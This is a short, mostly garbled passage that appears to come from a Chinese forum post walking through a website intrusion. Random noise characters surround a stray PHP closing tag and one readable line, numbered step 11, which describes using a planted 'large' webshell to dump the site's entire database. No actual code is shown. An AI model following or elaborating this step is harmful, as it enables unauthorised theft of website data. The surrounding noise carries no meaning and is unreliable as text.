9 Y9 V7 a! b1 L* a0 c y, g3 a - }2 c `% f) t+ [/ s8 S, J
- 6 e }, O4 D7 v6 H: E$ `; Q
- ?>
复制代码11、最后通过大码对网站数据库进行脱库
' p( F2 |$ k8 U( O P
9 ~0 a. r5 H& H- u, e5 v0 S$ e3 r2 T- Y/ @% k+ ^
|